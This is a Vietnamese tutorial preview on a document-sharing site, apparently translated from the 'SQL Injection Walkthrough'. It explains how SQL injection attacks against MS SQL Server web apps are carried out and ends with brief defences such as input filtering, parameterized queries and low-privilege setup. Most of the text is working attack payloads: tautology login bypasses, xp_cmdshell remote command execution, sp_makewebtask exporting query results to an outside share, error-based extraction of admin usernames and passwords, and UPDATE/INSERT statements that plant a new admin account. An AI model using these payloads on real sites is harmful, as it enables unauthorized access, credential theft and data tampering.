Tấn công kiểu SQL Injection và các phòng chống

1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến

hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi

chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và

password, remote execution, dump data và lấy root của SQL server. Công cụ

dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet

Explorer, Netscape, Lynx, .

2. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm

nào trên mạng, chẳng hạn như các trang login, search, feedback, .

pdf20 trang | Chuyên mục: ASP.NET | Chia sẻ: dkS00TYs | Lượt xem: 2389 | Lượt tải: 1download
Tóm tắt nội dung Tấn công kiểu SQL Injection và các phòng chống, để xem tài liệu hoàn chỉnh bạn click vào nút "TẢI VỀ" ở trên
 MySQL, hãy thay "--" thành "#" 
Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL 
query bây giờ sẽ là: 
SELECT * FROM product WHERE PCategory='food' or 'a'='a' 
Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có 
gặp lỗi hay không: 
' or 1=1-- 
" or 1=1-- 
 or 1=1-- 
' or 'a'='a 
" or "a"="a 
') or ('a'='a 
5. Thi hành lệnh từ xa bằng SQL Injection 
Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server 
sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên 
Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để 
thi hành lệnh từ xa: 
'; exec master..xp_cmdshell 'ping 10.10.1.2'-- 
Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc. 
Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành 
một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay 
không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau: 
#tcpdump icmp 
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành. 
6. Nhận output của SQL query 
Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file 
HTML 
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT 
* FROM INFORMATION_SCHEMA.TABLES" 
Chú ý: folder "share" phải được share cho Everyone trước. 
7. Nhận dữ liệu qua 'database using ODBC error message' 
Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin 
quan trọng. Lấy ví dụ ở trên  bây giờ 
chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL: 
 UNION SELECT TOP 1 
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- 
Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa 
thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME 
chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết 
rằng nó luôn tồn tại. Query của chúng ta là: 
SELECT TOP 1 TABLE_NAME FROM 
INFORMATION_SCHEMA.TABLES-- 
Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL 
Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS 
SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. 
Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ 
hiện thông báo lỗi sau: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 
the nvarchar value 'table1' to a column of data type int. 
/index.asp, line 5 
Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không 
được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà 
chúng ta đang muốn có. 
Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau: 
 UNION SELECT TOP 1 
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE 
TABLE_NAME NOT IN ('table1')-- 
Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của 
câu lệnh SQL: 
 UNION SELECT TOP 1 
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE 
TABLE_NAME LIKE '%25login%25'-- 
Khi đó thông báo lỗi của SQL Server có thể là: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 
the nvarchar value 'admin_login' to a column of data type int. 
/index.asp, line 5 
Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. 
Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một 
table quan trọng là "admin_login". 
8. Xác định tên của các column trong table 
Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các 
column trong table. Có thể khai thác như sau: 
 UNION SELECT TOP 1 
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME='admin_login'-- 
Khi đó thông báo lỗi của SQL Server có thể như sau: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 
the nvarchar value 'login_id' to a column of data type int. 
/index.asp, line 5 
Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column 
tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau: 
 UNION SELECT TOP 1 
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT 
IN ('login_id')-- 
Khi đó thông báo lỗi của SQL Server có thể như sau: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 
the nvarchar value 'login_name' to a column of data type int. 
/index.asp, line 5 
Làm tương tự như trên, có thể lấy được tên của các column còn lại như 
"password", "details". Khi đó ta lấy tên của các column này qua các thông 
báo lỗi của SQL Server, như ví dụ sau: 
 UNION SELECT TOP 1 
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT 
IN ('login_id','login_name','password',details')-- 
Khi đó thông báo lỗi của SQL Server có thể như sau: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must 
appear in the select list if the statement contains a UNION operator. 
/index.asp, line 5 
9. Thu thập các dữ liệu quan trọng 
Chúng ta đã xác định được các tên của các table và column quan trọng. 
Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này. 
Có thể lấy login_name đầu tiên trong table "admin_login" như sau: 
 UNION SELECT TOP 1 login_name 
FROM admin_login-- 
Khi đó thông báo lỗi của SQL Server có thể như sau: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 
the nvarchar value 'neo' to a column of data type int. 
 /index.asp, line 5 
Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử 
lấy password của "neo" như sau: 
 UNION SELECT TOP 1 password 
FROM admin_login where login_name='neo'-- 
Khi đó thông báo lỗi của SQL Server có thể như sau: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 
the nvarchar value 'm4trix' to a column of data type int. 
/index.asp, line 5 
Và bây giờ là đã có thể login vào với username là "neo" và password là 
"m4trix". 
10. Nhận các numeric string 
 Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận 
được các error message nếu server có thể chuyển text đúng ở dạng số (text 
chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là 
"31173". Vậy nếu ta thi hành lệnh sau: 
 UNION SELECT TOP 1 password 
FROM admin_login where login_name='trinity'-- 
Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì 
server có thể chuyển passoword "31173" sang dạng số trước khi UNION với 
integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự 
alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số 
của server. Dòng query mới như sau: 
 UNION SELECT TOP 1 convert(int, 
password%2b'%20morpheus') FROM admin_login where 
login_name='trinity'-- 
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của 
'+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để 
tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi 
hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL 
server sẽ phát lỗi ODBC error message sau: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 
the nvarchar value '31173 morpheus' to a column of data type int. 
/index.asp, line 5 
Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và 
password là '31173' 
11. Thay đổi dữ liệu (Update/Insert) của CSDL 
Khi đã có tên của tất cả các column trong table, có thể sử dụng statement 
UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này. 
Để thay đổi password của "neo", có thể làm như sau: 
 UPDATE 'admin_login' SET 'password' 
= 'newpas5' WHERE login_name='neo'-- 
Hoặc nếu bạn muốn một record mới vào table: 
 INSERT INTO 'admin_login' 
('login_id', 'login_name', 'password', 'details') VALUES 
(666,'neo2','newpas5','NA')-- 
Và bây giờ có thể login vào với username "neo2" và password là "newpas5" 
12. Ngăn chặn SQL Injection 
Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, 
... trong các string nhận được từ: 
 input do người dùng đệ trình 
 các tham số từ URL 
 các giá trị từ cookie 
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, 
hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. 
 Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong 
tab SQL Server Security. 
Xóa các stored procedure trong database master mà không dùng như: 
 xp_cmdshell 
 xp_startmail 
 xp_sendmail 
 sp_makewebtask 
13. Ngăn chặn SQL Injection trong ASP.NET 
Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát 
đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử 
dụng các Parameters khi làm việc với object SqlCommand (hoặc 
OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó 
.NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện 
câu lệnh SQL. 
Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong 
ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy 
trên localhost. 
13. Tài liệu thao khảo 
1. How I hacked PacketStorm (Rain Forest Puppy) 
2. Great article on gathering information from ODBC error messages 
01/Litchfield/BHWin01Litchfield.doc 
3. A good summary of SQL Injection on various SQL Server on 
4. Senseport's article on reading SQL Injection 
5. Khác: 
Sưu tầm trên Internet từ bài được dịch và sửa đổi 
từ bài viết nguyên thuỷ "SQL Injection Walkthrough" của xfocus.net 

File đính kèm:

  • pdfTấn công kiểu SQL Injection và các phòng chống .pdf
Tài liệu liên quan